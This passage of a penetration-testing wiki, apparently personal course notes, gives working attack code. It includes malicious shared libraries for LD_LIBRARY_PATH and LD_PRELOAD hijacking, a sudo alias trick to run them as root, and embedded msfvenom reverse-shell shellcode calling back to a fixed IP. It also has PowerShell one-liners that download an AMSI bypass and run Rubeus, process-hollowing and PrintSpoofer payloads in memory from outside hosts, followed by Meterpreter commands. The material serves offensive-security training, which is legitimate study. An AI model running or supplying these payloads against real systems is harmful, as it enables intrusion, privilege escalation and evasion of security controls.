* The shellcode is encrypted using XOR operation against a key (e.g., &#039;J&#039;).&lt;br /&gt;
&lt;br /&gt;
* The encrypted shellcode must be decrypted using the same XOR key before execution.&lt;br /&gt;
&lt;br /&gt;
* After decryption, the shellcode is cast to a function pointer and executed.&lt;br /&gt;
&lt;br /&gt;
=== Shared Libraries ===&lt;br /&gt;
&lt;br /&gt;
Linux uses a different program format than Windows. While Linux utilizes &#039;&#039;&#039;Executable and Linkable Format (ELF)&#039;&#039;&#039;, Windows uses the &#039;&#039;&#039;Portable Executable (PE)&#039;&#039;&#039; format.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;ELF Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Executable_and_Linkable_Format Wikipedia]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;PE Reference&#039;&#039;&#039;: [https://en.wikipedia.org/wiki/Portable_Executable Wikipedia]&lt;br /&gt;
&lt;br /&gt;
Despite their differences, both systems share code with other applications. Windows employs &#039;&#039;&#039;Dynamic-Link Library (DLL)&#039;&#039;&#039; files, whereas Linux uses &#039;&#039;&#039;Shared Libraries&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
When a Linux application requires a library, it searches for it in the following order:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RPATH&#039;&#039;&#039;: Directories within the application&#039;s RPATH value.&lt;br /&gt;
[https://en.wikipedia.org/wiki/Rpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;LD_LIBRARY_PATH&#039;&#039;&#039;: Directories specified in this environment variable.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;RUNPATH&#039;&#039;&#039;: Directories in the application’s RUNPATH value.&lt;br /&gt;
[https://amir.rachum.com/blog/2016/09/17/shared-libraries/#rpath-and-runpath Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;/etc/ld.so.conf&#039;&#039;&#039;: Directories mentioned here.&lt;br /&gt;
[https://man7.org/linux/man-pages/man8/ldconfig.8.html Reference]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;System Library Directories&#039;&#039;&#039;: &amp;lt;code&amp;gt; ​/lib​ ,  ​/lib64​ ,  ​/usr/lib​ ,  ​/usr/lib64​ ,  ​/usr/local/lib​ ,  ​/usr/local/lib64&amp;lt;/code&amp;gt;​ , and more.&lt;br /&gt;
&lt;br /&gt;
Because of this predefined search sequence, it&#039;s possible to place or hijack shared libraries to control an application&#039;s behavior.&lt;br /&gt;
&lt;br /&gt;
==== Hijacking Shared Library via LD_LIBRARY_PATH ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Writing the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Create the payload file:&lt;br /&gt;
&lt;br /&gt;
 ​/home/offsec/ldlib/hax.c​ &lt;br /&gt;
&lt;br /&gt;
* Include headers:&lt;br /&gt;
&lt;br /&gt;
* Define the constructor function:&lt;br /&gt;
&lt;br /&gt;
* Function payload:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include  // for setuid/setgid&lt;br /&gt;
// This function will be executed automatically when the shared library is loaded.&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
void runmahpayload() {&lt;br /&gt;
    // Elevate privileges to root user.&lt;br /&gt;
    setuid(0); // Set the effective user ID to root.&lt;br /&gt;
    setgid(0); // Set the effective group ID to root.&lt;br /&gt;
    // Print a message to indicate the DLL hijacking is in progress.&lt;br /&gt;
    printf(&amp;quot;DLL HIJACKING IN PROGRESS \n&amp;quot;);&lt;br /&gt;
    // Execute the system command to create a file in /tmp called &amp;quot;haxso.txt.&amp;quot;&lt;br /&gt;
    // This can be used as an indicator that the malicious code was executed.&lt;br /&gt;
    system(&amp;quot;touch /tmp/haxso.txt&amp;quot;);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Compiling the Malicious Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Compile shared library object file:&lt;br /&gt;
&lt;br /&gt;
* Compile the finished shared library file:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -o libhax.so hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Identifying the Target Library:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Determine libraries used by a binary, e.g.,  ​top​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ldd /usr/bin/top&lt;br /&gt;
linux-vdso.so.1 (0x00007ffd135c5000)&lt;br /&gt;
libprocps.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libprocps.so.6 (0x00007ff5ab935000)&lt;br /&gt;
libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007ff5ab70b000)&lt;br /&gt;
libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007ff5ab507000)&lt;br /&gt;
libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007ff5ab116000)&lt;br /&gt;
libsystemd.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libsystemd.so.0 (0x00007ff5aae92000)&lt;br /&gt;
/lib64/ld-linux-x86-64.so.2 (0x00007ff5abd9b000)&lt;br /&gt;
librt.so.1 =&amp;gt; /lib/x86_64-linux-gnu/librt.so.1 (0x00007ff5aac8a000)&lt;br /&gt;
liblzma.so.5 =&amp;gt; /lib/x86_64-linux-gnu/liblzma.so.5 (0x00007ff5aaa64000)&lt;br /&gt;
liblz4.so.1 =&amp;gt; /usr/lib/x86_64-linux-gnu/liblz4.so.1 (0x00007ff5aa848000)&lt;br /&gt;
libgcrypt.so.20 =&amp;gt; /lib/x86_64-linux-gnu/libgcrypt.so.20 (0x00007ff5aa52c000)&lt;br /&gt;
libpthread.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007ff5aa30d000)&lt;br /&gt;
libgpg-error.so.0 =&amp;gt; /lib/x86_64-linux-gnu/libgpg-error.so.0 (0x00007ff5aa0f8000)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We will use the bottom library. This is likely to be loaded by the application but not likely to be called unless the program encounters an error therefore this shouldn’t prevent normal use of the application.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Preparing for Exploitation:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Set the environment variable:&lt;br /&gt;
&lt;br /&gt;
* Copy the malicious library to hijack a target:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
cp libhax.so libgpg-error.so.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Identifying Missing Symbols:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract symbols associated with the hijacked library:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print &amp;quot;int&amp;quot;,$8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Add the resulting symbols to your source code.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
static void runmahpayload() __attribute__((constructor));&lt;br /&gt;
int gpgrt_onclose;&lt;br /&gt;
int _gpgrt_putc_overflow;&lt;br /&gt;
int gpgrt_feof_unlocked;&lt;br /&gt;
int gpgrt_vbsprintf;&lt;br /&gt;
int gpgrt_ungetc;&lt;br /&gt;
---REST OF THE CODE---&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* We encountered an error stating we&#039;re missing the symbol &amp;quot;gpgrt_lock_lock&amp;quot; with version GPG_ERROR_1.0. Before our library&#039;s initial function could run, the program identified that certain expected symbols were absent. This implies that our fake library doesn&#039;t have all the required components that the original library has. To fix this, we just need to add placeholders for these missing components, since the program isn&#039;t checking their functionality, just their presence. We can also use the &amp;quot;readelf&amp;quot; tool with the &amp;quot;-s&amp;quot; option to check what components the original library contains.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Overcoming Version Errors:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Extract just symbol names:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk &#039;{print $8}&#039; | sed &#039;s/@@GPG_ERROR_1.0/;/g&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Create a symbol map file, e.g.,  ​gpg.map​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GPG_ERROR_1.0 {    &lt;br /&gt;
gpgrt_onclose;    &lt;br /&gt;
_gpgrt_putc_overflow;    &lt;br /&gt;
...&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Recompile using the symbol map:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -c -o hax.o hax.c&lt;br /&gt;
gcc -shared -Wl,--version-script gpg.map -o libgpgerror.so.0 hax.o&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Export environment varialbe&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_LIBRARY_PATH=/home/offsec/ldlib/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Run the application&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
top&lt;br /&gt;
DLL HIJACKING IN PROGRESS&lt;br /&gt;
top - 14:55:15 up 9 days, 4:35, 2 users, load average: 0.01, 0.01, 0.00 Tasks: 164 total, 1 running, 92 sleeping, 0 stopped, 0 zombie ...&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Look for the file our library was supposed to modify in /tmp.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-rw-r-- 1 offsec offsec 0 Jul 10 17:12 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Privilege Escalation &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Create a .bashrc alias for sudo to include LD_LIBRARY_PATH and use the malicious library example we created to escalate to root privileges.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Add the alias to the .bashrc:&lt;br /&gt;
&lt;br /&gt;
* Source the .bashrc to load the changes:&lt;br /&gt;
&lt;br /&gt;
* Now, run the top utility with sudo:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_LIBRARY_PATH=/home/offsec/ldlib&amp;quot;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
sudo top  &lt;br /&gt;
ls -al /tmp/haxso.txt&lt;br /&gt;
-rw-r--r-- 1 root root 0 Aug 11 14:51 /tmp/haxso.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Check the /tmp directory for the haxso.txt file. This time it should be owned by the root user, indicating that the malicious library executed with elevated privileges.&lt;br /&gt;
&lt;br /&gt;
=== LD_PRELOAD Exploitation ===&lt;br /&gt;
&lt;br /&gt;
The environment variable LD_PRELOAD, when set on a system, instructs the dynamic linking loader to prioritize a specific shared library to load first. Consequently, the functions within this library take precedence over others that have an identical method signature from different libraries.&lt;br /&gt;
&lt;br /&gt;
==== Reverse shell ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Identifying Potential Applications&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Target applications that the victim frequently uses (e.g.,  ​cp  utility).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Tracing Library Calls&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ ltrace cp&lt;br /&gt;
strrchr(&amp;quot;cp&amp;quot;, &#039;/&#039;) = nil&lt;br /&gt;
...&lt;br /&gt;
geteuid() = 1000&lt;br /&gt;
getenv(&amp;quot;POSIXLY_CORRECT&amp;quot;) = nil&lt;br /&gt;
...&lt;br /&gt;
fflush(0x7f717f0c0680) = 0&lt;br /&gt;
fclose(0x7f717f0c0680) = 0&lt;br /&gt;
+++ exited (status 1) +++&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Creating a Malicious Shared Library&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Objective&#039;&#039;&#039;: Redefine the  ​geteuid​  function.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Code Sample&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#define _GNU_SOURCE&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
#include&lt;br /&gt;
// To compile:&lt;br /&gt;
// gcc -Wall -fPIC -z execstack -c -o sharedLibrary_LD_PRELOAD.o sharedLibrary_LD_PRELOAD.c&lt;br /&gt;
// gcc -shared -o sharedLibrary_LD_PRELOAD.so sharedLibrary_LD_PRELOAD.o -ldl&lt;br /&gt;
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.49.67 LPORT=80 -f c&lt;br /&gt;
unsigned char buf[] =&lt;br /&gt;
&amp;quot;\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x97\x48&amp;quot;&lt;br /&gt;
&amp;quot;\xb9\x02\x00\x00\x50\xc0\xa8\x31\x43\x51\x48\x89\xe6\x6a\x10&amp;quot;&lt;br /&gt;
&amp;quot;\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58&amp;quot;&lt;br /&gt;
&amp;quot;\x0f\x05\x75\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f&amp;quot;&lt;br /&gt;
&amp;quot;\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05&amp;quot;;&lt;br /&gt;
uid_t geteuid(void)&lt;br /&gt;
{&lt;br /&gt;
        // Get the address of the original &#039;geteuid&#039; function&lt;br /&gt;
        typeof(geteuid) *old_geteuid;&lt;br /&gt;
        old_geteuid = dlsym(RTLD_NEXT, &amp;quot;geteuid&amp;quot;);&lt;br /&gt;
        // Fork a new thread based on the current one&lt;br /&gt;
        if (fork() == 0)&lt;br /&gt;
        {&lt;br /&gt;
                // Execute shellcode in the new thread&lt;br /&gt;
                intptr_t pagesize = sysconf(_SC_PAGESIZE);&lt;br /&gt;
                // Make memory executable (required in libs)&lt;br /&gt;
                if (mprotect((void *)(((intptr_t)buf) &amp;amp; ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {&lt;br /&gt;
                        // Handle error&lt;br /&gt;
                        perror(&amp;quot;mprotect&amp;quot;);&lt;br /&gt;
                        return -1;&lt;br /&gt;
                }&lt;br /&gt;
                // Cast and execute&lt;br /&gt;
                int (*ret)() = (int(*)())buf;&lt;br /&gt;
                ret();&lt;br /&gt;
        }&lt;br /&gt;
        else&lt;br /&gt;
        {&lt;br /&gt;
                // Original thread, call the original function&lt;br /&gt;
                printf(&amp;quot;[Hijacked] Returning from function...\n&amp;quot;);&lt;br /&gt;
                return (*old_geteuid)();&lt;br /&gt;
        }&lt;br /&gt;
        // This shouldn&#039;t really execute&lt;br /&gt;
        printf(&amp;quot;[Hijacked] Returning from main...\n&amp;quot;);&lt;br /&gt;
        return -2;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Compilation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
gcc -Wall -fPIC -z execstack -c -o evil_geteuid.o evileuid.c&lt;br /&gt;
gcc -shared -o sharedLibrary_LD_PRELOAD.so evil_geteuid.o -ldl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Triggering the Payload&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setup&#039;&#039;&#039;: Prepare a listener for the payload&#039;s callback.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execution without Preload&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD and Execution&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
export LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&lt;br /&gt;
cp /etc/passwd /tmp/testpasswd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Privilege Escalation ====&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Clear LD_PRELOAD&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
unset LD_PRELOAD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Note&#039;&#039;&#039;: If EUID doesn’t match real UID (e.g., when using sudo), dynamic linker ignores LD_PRELOAD.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Setting LD_PRELOAD with Sudo&#039;&#039;&#039;: Use an alias in  ​.bashrc​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
alias sudo=&amp;quot;sudo LD_PRELOAD=/home/kali/sharedLibrary_LD_PRELOAD.so&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-13.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Reload &#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039;.bashrc&#039;&#039;&#039;&#039;&#039;&#039;​&#039;&#039;&#039;&#039;&#039;&#039; &#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
source ~/.bashrc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Now run the command&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /etc/passwd /tmp/passwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-15.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
== Load Exe in Memory ==&lt;br /&gt;
&lt;br /&gt;
* To load an exe file to memory you have to have access to the source code in order to find out what the namespace is and the class.&lt;br /&gt;
&lt;br /&gt;
* Below are example of how to run &#039;&#039;&#039;Rubeus.exe &#039;&#039;&#039;in memory and run &#039;&#039;&#039;ProcessHollowing payload&#039;&#039;&#039; in memory and run &#039;&#039;&#039;Mimikatz &#039;&#039;&#039;from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
##  Load Rubeus.exe to memory ##&lt;br /&gt;
# First disable AMSI&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://192.168.119.120/amsi.txt&#039;) | IEX&lt;br /&gt;
# Download Rubeus into memory&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/Rubeus.exe&#039;)&lt;br /&gt;
# Load it as an assembly&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
# Invoke a function&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;purge&amp;quot;.Split())&lt;br /&gt;
# Examples&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:web01$ /rc4:12343649cc8ce713962859a2934b8cbb /impersonateuser:administrator /msdsspn:cifs/file01 /ptt&amp;quot;.Split())&lt;br /&gt;
[Rubeus.Program]::Main(&amp;quot;s4u /user:svc_file /rc4:08985D3B7B336B046AB92E0B2AAEEAF6 /impersonateuser:administrator /msdsspn:cifs/file02 /ptt&amp;quot;.Split())&lt;br /&gt;
# One liner&lt;br /&gt;
$data = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.49.79/Rubeus.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data);[Rubeus.Program]::Main(&amp;quot;hash /password:Password123&amp;quot;.Split())&lt;br /&gt;
&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Run ProcessHollowing in memory ##&lt;br /&gt;
# Where Proc_hol is the namespace, and Program is the class.&lt;br /&gt;
$data2 = (New-Object System.Net.WebClient).DownloadData(&#039;http://92.221.186.47/proc_hol.exe&#039;);$assem = [System.Reflection.Assembly]::Load($data2);[Proc_hol.Program]::Main(&amp;quot;&amp;quot;.Split())&lt;br /&gt;
---------------------------------------&lt;br /&gt;
## Using Invoke-ReflectivePEInjection.ps1.&lt;br /&gt;
# See OneNote for correct version.&lt;br /&gt;
# Load PrintSpoofer in memory&lt;br /&gt;
(New-Object System.Net.WebClient).DownloadString(&#039;http://example.com/Invoke-ReflectivePEInjection.ps1&#039;) | IEX&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://example.com/PrintSpoofer.exe&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ExeArgs &amp;quot;-i -c cmd&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Metasploit Post Explotation ==&lt;br /&gt;
&lt;br /&gt;
[https://medium.com/@tanseejou97/tryhackme-metasploit-meterpreter-walkthrough-17e5bd9c0dc7#:~:text=POST-exploitation%20with%20Meterpreter%201%20Migrate%20migrate%20%5BPID%20of,locate%20files%20with%20potentially%20juice%20information.%204%20Shell [TryHackMe] Metasploit: Meterpreter — walkthrough | by Tanseejou | Medium]&lt;br /&gt;
&lt;br /&gt;
=== Metasploit Unleashed ===&lt;br /&gt;
&lt;br /&gt;
[https://www.offsec.com/metasploit-unleashed/ Metasploit Unleashed - Free Online Ethical Hacking Course | OffSec]&lt;br /&gt;
&lt;br /&gt;
== Running Metasploit as a Daemon ==&lt;br /&gt;
&lt;br /&gt;
To start Metasploit as a daemon, you need to run the msfd utility, which opens on port 55554 by default.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfd&lt;br /&gt;
[*] Initializing msfd...&lt;br /&gt;
[*] Running msfd...&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To connect to the daemon, use netcat like the following example:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root㉿kali)-[/home/kali/Desktop/]&lt;br /&gt;
└─# nc 127.0.0.1 55554&lt;br /&gt;
  Metasploit Park, System Security Interface&lt;br /&gt;
  Version 4.0.5, Alpha E&lt;br /&gt;
  Ready...&lt;br /&gt;
  &amp;gt; access security&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access security grid&lt;br /&gt;
  access: PERMISSION DENIED.&lt;br /&gt;
  &amp;gt; access main security grid&lt;br /&gt;
  access: PERMISSION DENIED....and...&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
  YOU DIDN&#039;T SAY THE MAGIC WORD!&lt;br /&gt;
&lt;br /&gt;
       =[ metasploit v6.3.41-dev                          ]&lt;br /&gt;
+ -- --=[ 2371 exploits - 1230 auxiliary - 414 post       ]&lt;br /&gt;
+ -- --=[ 1391 payloads - 46 encoders - 11 nops           ]&lt;br /&gt;
+ -- --=[ 9 evasion                                       ]&lt;br /&gt;
Metasploit Documentation: https://docs.metasploit.com/&lt;br /&gt;
[*] Starting persistent handler(s)...&lt;br /&gt;
msf6 &amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter MindMap ===&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Windows-Meterpreter][https://book.ghanim.no/wp-content/uploads/2023/09/Windows-Meterpreter.pdf Download]&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter Commands ===&lt;br /&gt;
&lt;br /&gt;
* Source: [https://sergio-f20-notes.gitbook.io/hacking/8.-tunneling/c2-command-and-control/metasploit/meterpreter-commands Meterpreter Commands - Hacking (gitbook.io)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basics&lt;br /&gt;
help --&amp;gt; List available commands&lt;br /&gt;
sysinfo --&amp;gt; Displays system  info&lt;br /&gt;
getuid --&amp;gt; List current session owner&lt;br /&gt;
sessions -i 2 --&amp;gt; Change to session 2&lt;br /&gt;
shell --&amp;gt; Drop to interactive shell&lt;br /&gt;
channel -i 1 --&amp;gt; Change to shell in channel 1&lt;br /&gt;
background --&amp;gt; Background session to interact with msfconsole&lt;br /&gt;
upload {local path} {victim path} --&amp;gt; Upload a file&lt;br /&gt;
download {path} --&amp;gt; Download file&lt;br /&gt;
reg {Command} --&amp;gt; Interacts with registry (reg by itself will list syntax)&lt;br /&gt;
execute -f cmd.exe -i --&amp;gt; Execute cmd.exe and interact&lt;br /&gt;
execute -f cmd.exe -i -H -t --&amp;gt; Execute cmd as hidden process and with all tokens&lt;br /&gt;
# Powershell&lt;br /&gt;
load powershell&lt;br /&gt;
powershell_execute --&amp;gt; Execute a PowerShell statement, including complex-statements separated by semicolons&lt;br /&gt;
powershell_import --&amp;gt; Import a local PowerShell script to execute on the remote system over the Meterpreter channel&lt;br /&gt;
powershell_shell --&amp;gt; Launch an interactive PowerShell shell&lt;br /&gt;
